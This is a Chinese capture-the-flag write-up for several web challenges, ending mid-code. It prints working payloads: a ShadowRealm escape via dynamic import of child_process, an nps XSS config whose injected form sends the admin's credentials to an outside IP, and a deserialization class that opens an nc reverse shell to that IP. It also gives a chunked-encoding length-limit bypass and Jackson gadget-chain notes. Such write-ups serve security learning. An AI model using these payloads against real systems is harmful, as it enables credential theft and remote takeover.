DAS0RAYSxCBCTF
写在前面
wcsnmd, 谁给👴出的这么恶心的 web,nmd 爆零了,tmd 总共 3100 的解,什么√⑧玩意儿.
wp:DASCTF x CBCTF - 飞书云文档 (feishu.cn)
DASCTFXCBCTF_2023_bypassJava_Wp (pankas.top)
yet another box
这题是一个比较新的沙箱 shadowrealm
, 这 byd 和 node 的 vm8 太一样,有着自己的全局对象和内置函数,就挺抽象,没法像 vm
, 也无法通过 prototype pollution
控制主模块中的内置属性另外由于与 package.json 声明了 “type”:“module” 且文件结尾为 .mjs,所采用的 ESM 默认 strict mode,无法通过 [stack-trace-api](Stack trace API・V8 — 堆栈跟踪 API・V8 发动机) 跨上下文取得可利用对象。
Stack trace API
仅作为学习记录使用,并不为本题提供思路.
默认情况下,V8 抛出的几乎所有错误都有一个属性,抛出错误的时候会用到方法,该方法能获得到外面的全局对象.
Shadow-Realm-API
Wrapped Function Exotic Objects
是一种奇异对象,内含一个回调函数。具有一些内置槽 slot
,:
Internal slots |
Type |
Description |
[[WrappedTargetFunction]] |
Callable Object |
Stores the callable object. |
[[Call]] |
The [[Call]] internal method |
Executes code associated with this object’s [[WrappedTargetFunction]]. |
[[Realm]] |
Realm Record |
The realm in which the function was created. |
还有 [[Prototype]] and [[Extensible]]
对象的 [[call]] 方法获取两个参数:thisArgument, argumentsList . 调用时会实现以下步骤:
1. 设置运行代码的上下文。执行上下文通常包括执行函数的作用域、变量、this 值等信息。
2. 设置新的作用域 calleecontext.
3. 执行 assert 断言,确保 calleecontext 是目前正在执行的上下文.
4. 用 result 储存 **OrdinaryWrappedFunctionCall (F, thisArgument, argumentsList)** 的运行结果
5.calleeContext 被从执行上下文栈中移除,而 callerContext 被恢复为当前运行的执行上下文。
6. 判断返回类型,如果 [[TYPE]] 已返回,则返回 value.
7. 处理异常
8. 执行结束.
dynamic import 方案
通过动态 import 允许我们按需加载 JavaScript 模块,而不会在最开始的时候就将全部模块加载。
动态 import 返回了一个 Promise 对象,这也意味着可以在 then 中等模块加载成功后去做一些操作。
所以 import 导入需要通过 then 去触发其方法.
import 在执行方法后仍然是 promise 对象,采用的类似于链式调用.
1 2 3
| var test = import("child_process").then(m=>console.log(m))
|
其中 test 获取 promise 异步对象,而 m 直接就获得 child_process 对象.
exp
简而言之
1
| ShadowRealm.prototype.evaluate => PerformShadowRealmEval => Execution Contexts
|
支持 dynamic import
“Dynamic import” 是指在 JavaScript 中动态加载模块或文件的能力。这是 ECMAScript 2020 标准的一部分,引入了 import () 函数,它可以在运行时异步加载模块。这与传统的静态 import 语句不同,后者在代码加载时即确定了要导入的模块。
1 2
| import('child_process').then(m=>m.execSync('/readflag > /app/asserts/flag')); 1;
|
nps
md 又是 xss,👴又 tnnd 不会,しね!
🧀一个 nps 网站上的 xss. 涉及 CVE-2023-46486
项目地址
影响范围:
nps<=V0.26.10
你 tm 搁这放屁呢,最新版本就是这个,21 年最后 publish 了.
漏洞怎么个事:
bootstrapTable
并未配置 escape
字段,且使用时不改默认配置
kokodayo,web/views/client/list.html
这里设置公钥,防止被 ntr (被别人用代理), 你也不希望你拿不到 shell 吧 (bushi)
同为代理,经常被提起的 frp 和 venom 都没太注意公钥,实际上是有公钥这一选项的.
这里,我们完全就能够通过客户端去进行攻击了.
开打😓
cnm,sbwindows, 死活用不成,linux 一下就出来了和👴😡了
√⑧玩意,当👴⭐😡吧
首先下载客户端,这一点和 frp 的 admin 端和 agent 端类似
然后配置客户端的配置文件
1 2 3 4 5
| [common] server_addr=127.0.0.1:8024 conn_type=tcp vkey=123 remark=<sCRiPt>alert(`nps hacker`)</sCrIpT>
|
× 成功了,狠狠地 × 进去
remote 干🤪
忆!悟!这就是 xss 的机器人创造
首先题目通过 js 代码造了个后台机器人,👴很喜欢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import {chromium, errors} from "playwright-chromium";
const PASSWORD = "DASCTF_flag"; (async () => { async function visit() { const page = await context.newPage(); try { for (let i = 0; i < 3; i++){ try{ await page.goto('http://a.o.com:8080/client/list'); break; }catch (e) { console.log(e); } } await page.waitForTimeout(1000); const element = await page.isVisible('button[langtag="word-login"]'); if (element) { await page.fill('input[name="username"]', 'admin'); await page.fill('input[name="password"]', PASSWORD); await page.click('button[langtag="word-login"]'); } await page.waitForTimeout(1000); await page.close(); } catch (e) { if (e instanceof errors.TimeoutError){ console.log(e); await page.close(); }else{ console.log(e); } } }
const browser = await chromium.launch({ headless: true }); const context = await browser.newContext(); context.setDefaultTimeout(10000);
setInterval(visit, 30000); })();
|
看不懂没关系,👴来带你分析一下.
首先整个就是一坨 shit⛰,
通过一个箭头函数 () 的方式立即调用
1 2 3 4 5 6
| const browser = await chromium.launch({ headless: true }); const context = await browser.newContext(); context.setDefaultTimeout(10000); setInterval(visit, 30000);
|
首先创建一个浏览器和上下文,然后设置 setIneterval, 表示每三十秒调用 visit, 函数,让👴看看 visit 函数怎么个事
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| async () => { async function visit() { const page = await context.newPage(); try { for (let i = 0; i < 3; i++){ try{ await page.goto('http://a.o.com:8080/client/list'); break; }catch (e) { console.log(e); } } await page.waitForTimeout(1000); const element = await page.isVisible('button[langtag="word-login"]'); if (element) { await page.fill('input[name="username"]', 'admin'); await page.fill('input[name="password"]', PASSWORD); await page.click('button[langtag="word-login"]'); } await page.waitForTimeout(1000); await page.close(); } catch (e) { if (e instanceof errors.TimeoutError){ console.log(e); await page.close(); }else{ console.log(e); } } }
|
首先获取新页面,然后访问三次 http://a.o.com:8080/client/list
你看看眼熟不,/client/list 刚好就是刚才展示 xss 的路径,你品,你细品。这个 host 眼熟不,这可是在 docker 里面设置的地址映射啊.
ならば 答えはひとつだ
就是 xss, 接下来就是分析这个机器人事怎么操作的了.
首先要看有无 button[langtag="word-login"]
这玩意
那我们就需要设置一个 button 了,不过我们可以在这里面下点毒
1
| <button onclick="fetch('http://43.143.192.19:1145/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtang=></button>
|
$(‘#username’) 是一个 jQuery 选择器,用于选择具有指定 id 属性的 HTML 元素。在这个选择器中,#username 表示要选择 id 为 “username” 的元素。会从输入获取
1 2 3
| <input type="text" id="username" name="username" value="flag">
|
再根据这个
1 2
| await page.fill('input[name="username"]', 'admin'); await page.fill('input[name="password"]', PASSWORD);
|
让机器人去输入我们设置好的登录框,从而通过 input 获取到 flag.
1 2
| <input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username"> <input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password">
|
如此,圈套已设,只等敌军进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <html> <head></head> <body> <form class="m-t" onsubmit="return false"> <div class="form-group"> <input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username"> </div> <div class="form-group"> <input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password"> </div> <button onclick="fetch('http://43.143.192.19:1145/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtag="word-login">Login</button> </form> </body> </html>
|
这么复杂数据传输起来不方便,👴不喜欢,换一个
exp
unicode 就行,而且控制台大大支持 unicode
1 2 3 4 5
| [common] server_addr=node4.buuoj.cn:26658 conn_type=tcp vkey=123 remark=</a><sCRiPt>document.write`\u003c\u0068\u0074\u006d\u006c\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u0068\u0065\u0061\u0064\u003e\u003c\u002f\u0068\u0065\u0061\u0064\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u0062\u006f\u0064\u0079\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0066\u006f\u0072\u006d\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u006d\u002d\u0074\u0022\u0020\u006f\u006e\u0073\u0075\u0062\u006d\u0069\u0074\u003d\u0022\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0066\u0061\u006c\u0073\u0065\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0064\u0069\u0076\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0067\u0072\u006f\u0075\u0070\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0069\u006e\u0070\u0075\u0074\u0020\u006e\u0061\u006d\u0065\u003d\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0069\u0064\u003d\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0063\u006f\u006e\u0074\u0072\u006f\u006c\u0022\u0020\u0070\u006c\u0061\u0063\u0065\u0068\u006f\u006c\u0064\u0065\u0072\u003d\u0022\u0055\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003d\u0022\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0064\u0069\u0076\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0064\u0069\u0076\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0067\u0072\u006f\u0075\u0070\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0069\u006e\u0070\u0075\u0074\u0020\u006e\u0061\u006d\u0065\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0069\u0064\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0063\u006f\u006e\u0074\u0072\u006f\u006c\u0022\u0020\u0070\u006c\u0061\u0063\u0065\u0068\u006f\u006c\u0064\u0065\u0072\u003d\u0022\u0050\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003d\u0022\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0064\u0069\u0076\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0062\u0075\u0074\u0074\u006f\u006e\u0020\u006f\u006e\u0063\u006c\u0069\u0063\u006b\u003d\u0022\u0066\u0065\u0074\u0063\u0068\u0028\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0034\u0033\u002e\u0031\u0034\u0033\u002e\u0031\u0039\u0032\u002e\u0031\u0039\u003a\u0031\u0031\u0034\u0035\u002f\u0027\u002c\u007b\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0027\u0050\u004f\u0053\u0054\u0027\u002c\u0062\u006f\u0064\u0079\u003a\u0024\u0028\u0027\u0023\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0027\u0029\u005b\u0030\u005d\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0027\u005f\u005f\u005f\u0027\u002b\u0024\u0028\u0027\u0023\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0027\u0029\u005b\u0030\u005d\u002e\u0076\u0061\u006c\u0075\u0065\u007d\u0029\u003b\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u006c\u006f\u0067\u0069\u006e\u0022\u003e\u004c\u006f\u0067\u0069\u006e\u003c\u002f\u0062\u0075\u0074\u0074\u006f\u006e\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0066\u006f\u0072\u006d\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u002f\u0062\u006f\u0064\u0079\u003e\u000a\u003c\u002f\u0068\u0074\u006d\u006c\u003e`</sCrIpT>
|
1
| ./npc -config ./conf/npc.conf
|
终于拿到了艹,30s 点一次,👴tm 以为 x 不进去了
まだまだね、弱い!
Deserialize?Upload!
actuator😫
首先,题目有个🚢♥的依赖,显然👴不知道这是干啥的,怎么办,学!
Spring boot——Actuator 详解 - 曹伟雄 - 博客园 (cnblogs.com)
配置方面
1 2 3 4
| <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>
|
有了这个依赖,那么 Spring 就会自动开放 /actuator/health
和 /actuator/info
这两个路径
访问 [127.0.0.1:9090/actuator/](http://127.0.0.1:9090/actuator/)
, 可以得到 /acturator 的路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| { "_links": { "self": { "href": "http://127.0.0.1:9090/actuator", "templated": false }, "health": { "href": "http://127.0.0.1:9090/actuator/health", "templated": false }, "health-path": { "href": "http://127.0.0.1:9090/actuator/health/{*path}", "templated": true }, "info": { "href": "http://127.0.0.1:9090/actuator/info", "templated": false }, "env": { "href": "http://127.0.0.1:9090/actuator/env", "templated": false }, "env-toMatch": { "href": "http://127.0.0.1:9090/actuator/env/{toMatch}", "templated": true }, "heapdump": { "href": "http://127.0.0.1:9090/actuator/heapdump", "templated": false } } }
|
以下是一些经常使用的路径
HTTP 方法 |
Endpoint |
Description |
GET |
/actuator |
查看有哪些路径 |
GET |
/actuator/env |
查看所有环境属性,看 Spring 的的 properties, 但是会自动脱敏掉一些 secret key 等敏感信息 |
GET |
/actuator/health |
查看运行指标 |
GET |
/actuator/info |
查看 properties 中 info 开头的属性,沒啥用 |
GET |
/actuator/heapdump |
获取 JVM 的 heap dump |
🤣默认 Actuator /actuator/health
和 /actuator/info
两个 endpoint,如果要开放其他 endpoint 的話,需在在 application.properties 中做设置。
Heap dump(堆转储)是指将一个 Java 进程的内存中的对象信息和数据结构以二进制格式写入文件,以便进行内存分析和排查内存泄漏等问题。Heap dump 包含了 Java 堆内存中的对象实例、对象引用关系、类信息等,它是诊断和调试 Java 应用程序的重要工具之一。
👴说点人话:反正 Heap dump 事内存相关的东西,肯定有敏感信息,👴就是要把它下下来进行一通乱超,不知道你们怎么忍得住的,事👴直接拿起来狠狠地分析.
怎么分析,当时事用 jdk 自带的 jhat
1
| jhat -J-Xmx512M "/path/to/heapdump"
|
然后就会本地起一个服务器,里面就加载内存的内容
md, 依托✍特,
1 2 3 4
| public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { ((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/"})).permitAll().antMatchers(new String[]{"/admin/**"})).authenticated().and()).formLogin().loginProcessingUrl("/login")).permitAll()).and()).csrf().disable(); return (SecurityFilterChain)http.build(); }
|
🧀spring 安全配置, http.authorizeRequests().antMatchers(new String[]{"/"}).permitAll()
表示对 / 路由访问允许任意用户,
antMatchers(new String[]{"/admin/**"}).authenticated()
表示 /admin/
开头验证用户
.formLogin().loginProcessingUrl("/login").permitAll()
/login 的表达登录不需要验证
这里就是让👴拿到 password
题目实践😓😡
wcsndm,sb 东西,题目环境没了,行吧,👴本地搭一个,nmd 套模板整了个 docker-compose, 告诉👴nmd project name must not be empty
, 你 tmd 倒是告诉👴哪里没有 project name, 阿米诺斯,一格德拉米.
只能手动 docker build.
同样拿到 heapdump
直接打开
别问👴哪里装,这 nmjava 自带的
进行一波 OQL 查询
1
| select s from java.util.LinkedHashMap$Entry s where /spring.security.user.password/.test(s.key)
|
这里用的事正则测试 /rgexp/.test () 的形式,虽然里面内容没用到啥正则,只是走个形式而已,别问👴为啥不直接查 value,nmd value 是个对象还未知,你查个√⑧.
tmd /login 登进去,让👴看看怎么个事
源赖氏一个后台管理系统,能用文件上传功能的地方.
反序列化分析😛
1 2 3 4 5 6 7
| @GetMapping({"/deserialize"}) public void deserialize(@RequestParam("b64str") String b64str) throws Exception { byte[] serialized = Base64.getDecoder().decode(b64str); ByteArrayInputStream bis = new ByteArrayInputStream(serialized); SafeObjectInputStream ois = new SafeObjectInputStream(bis); ois.readObject(); }
|
很美好对吧,jackson 链直接打,但是👴发现了不对劲,md 有毒
还是看看远处的 SafeObjectInputStream
吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public SafeObjectInputStream(InputStream is) throws Exception { super(is); }
protected Class<?> resolveClass(ObjectStreamClass input) throws IOException, ClassNotFoundException { if (BLACKLIST.contains(input.getName())) { throw new SecurityException("Hacker!!"); } else { return super.resolveClass(input); } }
static { BLACKLIST.add("com.fasterxml.jackson.databind.node.POJONode"); BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); BLACKLIST.add("java.lang.Runtime"); BLACKLIST.add("java.security.SignedObject"); }
|
都给你 ban 了,rnm, 出题人真的阴险,现在不把 jackson 链 ban 了,都不敢反序列化了是吧😅
怎么绘世呢
文件上传 + 反序列化组合拳😤
题目给了文件上传的功能,那总不能不用吧,要不然题目整这 β÷ 玩意干嘛呀.😅
正好前面通过 env 泄露得知 java_home 的位置
什么,你不知道 java_home 事干嘛的?
来,跟👴一起念:
JAVA_HOME
是一个环境变量,用于指示 Java 开发工具和应用程序在计算机上的安装位置。它主要用于以下几个方面的作用:
- Java 开发工具的定位:
JAVA_HOME
变量告诉计算机的操作系统和其他开发工具 Java 开发工具的安装位置。这对于编译、运行和调试 Java 程序非常重要。例如,当你使用 Java 编译器 ( javac
) 编译 Java 代码时,系统需要知道 JAVA_HOME
的位置以找到 javac
可执行文件。
- Java 运行时环境(JRE)的定位:除了开发工具,
JAVA_HOME
也可以用于定位 Java 运行时环境(JRE)的位置。JRE 包含了运行 Java 应用程序所需的类库和运行时组件。如果你的系统上有多个不同版本的 Java 安装,设置 JAVA_HOME
可以确保你使用的是正确的 Java 版本。
- 应用程序的定位:某些 Java 应用程序可能需要知道 Java 的安装位置,以便正确配置自己。通过设置
JAVA_HOME
环境变量,这些应用程序可以轻松找到所需的 Java 运行时环境。
- 开发工具和构建工具的配置:许多 Java 集成开发环境(IDE)和构建工具(如 Maven 和 Gradle)使用
JAVA_HOME
变量来配置其内部使用的 Java 环境。这有助于确保项目在正确的 Java 版本下编译和运行。
- 跨平台兼容性:通过使用
JAVA_HOME
变量,可以使 Java 开发环境在不同的操作系统上更具可移植性。它允许开发人员编写一次代码,然后在不同平台上使用相同的 JAVA_HOME
变量来运行代码。
总之, JAVA_HOME
是一个关键的环境变量,用于确保计算机上的 Java 开发工具、应用程序和运行时环境能够正确地找到和使用 Java 安装。它在 Java 开发和部署过程中起到重要作用,特别是在多版本 Java 安装和跨平台开发的情况下。
不说人话就是这样,这是伟大的 ChatGPT 说的,👴翻译一下就是,运行脚本的位置在那,要运行的 class 也在那,所以有啥 class 放那,他就能加载啥 class.
所以接下来要干啥懂了没,上传点具有攻击性的 class 到 javahome 里面,狠狠地入它一波.
而且不是有反序列化吗,到这你不可能还不知道吧,创造一个反序列化带有直接恶意操作的类,直接 getshell😊
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import java.io.*;
public class exp implements Serializable {
private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
in.defaultReadObject();
Process p = Runtime.getRuntime().exec(new String[]{"nc","43.143.192.19","1145","-e","/bin/sh"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); p.waitFor(); if(p.exitValue()!=0){ } String s = null; while((s=reader.readLine())!=null){ System.out.println(s); }
} }
|
写个 exp 类,编译好后再上传,别直接 sb 到把 java 上传了
但是👴不太高兴,因为有点 bug, 第一次搭 docker 打不成,第二次终出了😒.
DASCTFXCBCTF_2023_bypassJava
真 tm 恶心的 java 题,不仅有绕过,还 tm 有 RASP 这种抽象的东西,👴太弱了,👴要学.
题目环境甚至不是靶机,而是静态资源,很不爽.
还好出题人开源了:pankass/DASCTF_X_CBCTF2023_bypassJava: 题目源码和 docker 环境 (github.com)
Content-Length 限制
不多说,第一时间想到 jackson 链子,但是有长度限制
这长度限制是人能想出来的吗😓,nm 稍微大一点,随便不都得几千?
过不了,根本过不了,让我看看 bypass 怎么个事:
这里如果头部有 transfer-encoding, 就会进 addInputFilter
这里面如果有 chunked, 那么就会设置成 this.contentDelimitation
为 true
最后这里就会进入 if, 从而设置 ContentLength 为 - 1, 绕过长度限制.
chuncked 编码怎么发
分块编码(Transfer-Encoding: chunked) - 妙音天女 - 博客园 (cnblogs.com)
简单看一下们大概就是
1 2 3 4 5 6
| 十六进制长度/r/n content/r/n .... 0/r/n /r/n
|
每一块都是 十六进制表示长度
然后, /r/n
接着输入 content, 然后 /r/n
最后一块一定要输入 0/r/n/r/n
👴浅浅写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests
url = "http://127.0.0.1:8080/read" content = open("data.txt","r").read() leng = hex(len(content)).replace("0x","")
body = leng+"\r\n"+content+"\r\n0\r\n\r\n" print(body)
headers= {"transfer-encoding":"chunked"}
res = requests.post(url=url,data=body,headers=headers)
|
soeasy,🤣,
然而这只是第一步,👴现场甚至第一步都没过去.
不稳定 jackson 链问题
关于 java 反序列化中 jackson 链子不稳定问题 (pankas.top)
从 JSON1 链中学习处理 JACKSON 链的不稳定性 - 先知社区 (aliyun.com)
👴ctmd 打 jackson 链子的时候,有史以来第一次遇见了陌生的报错
1
| com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])
|
且经过本地调试,似乎进入了陌生的代码段,👴很不乐意.
具体来说,就是在调用 getters 的时候,优先奏了 getStylesheetDOM
这个方法,但是,众所周知,我们在序列化的时候,是不会去设置这个值的,所以理所应当的,nmd 空指针了.😓😅而当其调用 getter 方法时优先调用 getOutputProperties
方法时才是我们正常想要的结果。
这 nm 真有坑啊,比赛想打这条链子,不说 ban 位问题,nmd 这问题也只能通过不停地重置靶机解决了,比赛你重置靶机,静态地址等似吧.
现在👴来分析一下怎么个事,优化一下
流程
这条链子分析👴不想说了,闭着眼睛都知道怎么个事.
关键是触发 POJONode
的 toString
方法,然后内部经过一系列序列化器调用 POJONode
中封的 _value
属性的 getter 方法,从而调用 TemplatesImpl
类型对象的 getOutputProperties
方法从而导致执行任意代码。
重点就是从 toString
到 getters
的调用这一过程
栈调试放在这:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser) defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind) serialize:115, POJONode (com.fasterxml.jackson.databind.node) serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
|
在 com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField
方法中利用反射来执行其 getters
方法
这次就调用了 getoutputProperties, 很好,👴喜欢🤪
那就往前看看哪里获取了 getters
在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields
中, prop
数组存储了 getters
, 通过循环遍历所有 getters
并调用 serializeAsField
追踪一下这个变量,从 _props
获得
最终在 com.fasterxml.jackson.databind.introspect
赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| collectAll:418, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect) getJsonValueAccessor:270, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect) findJsonValueAccessor:258, BasicBeanDescription (com.fasterxml.jackson.databind.introspect) findSerializerByAnnotations:391, BasicSerializerFactory (com.fasterxml.jackson.databind.ser) _createSerializer2:224, BeanSerializerFactory (com.fasterxml.jackson.databind.ser) createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser) _createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind) _createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind) findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind) findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind) defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind) serialize:115, POJONode (com.fasterxml.jackson.databind.node) serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
|
这里就是第一次决定 getters
顺序
随后通过 getDeclaredMethods
获取方法,那这里获取方法的顺序是不固定的。
并且,在 com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer
方法里,会将获取的方法顺序进行缓存,之前提到过了,缓存后会进入其它 if。
因此第一次打不通,之后也无法打通了
为什么顺序不一定
获取顺序是根据地址的大小来排序的,期间存在内存 free 的动作,那地址是不会一直线性变化的,之所以不按照字母排序,主要还是为了速度考虑,根据地址排序是最快的。
是反射 getDeclaredMethods
获取到方法的顺序是不确定的,最终导致执行相关 getter 方法的顺序也是不确定的,当 TemplatesImpl
的 getStylesheetDOM
方法先于 getOutputProperties
方法执行时就会导致空指针异常从而导致调用链报错中断,exp 利用失败。
解决方法😊
org.springframework.aop.framework.JdkDynamicAopProxy
解决问题
实现
众所周知,java 有个 b 玩意叫做 动态代理
,很 nb,👴只在 cc 中用过,不清楚.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package org.example;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;
public class Test { public static void main(String[] args) {
Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{TestInterface1.class, TestInterface2.class}, new MyHandler()); for(Method m: myProxy.getClass().getDeclaredMethods()) { System.out.println(m.getName()); } } }
interface TestInterface1 { public void say(); }
interface TestInterface2 { public void test(); }
class TestProxy {
public void eat() { System.out.println("eat something"); } public void say() { System.out.println("say something"); } public String getName(String a) { return a; } }
class MyHandler implements InvocationHandler {
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("invoke dynamic proxy handler"); return null; } }
|
这是执行结果,可以看懂能获取到的方法,完全取决于接口实现了哪些方法
而 javax.xml.transform.Templates
接口其只有 newTransformer
和 getOutputProperties
这个两个方法,让他作为我们代理所需的接口,这样最终通过 getDeclaredMethods
获取到的方法就只有 newTransformer
和 getOutputProperties
了,那么最终获得的 getter 方法便只有 getOutputProperties
了。
因此只需要挂代理,就只会获取接口方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package org.example;
import javax.xml.transform.Templates; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;
public class Test { public static void main(String[] args) {
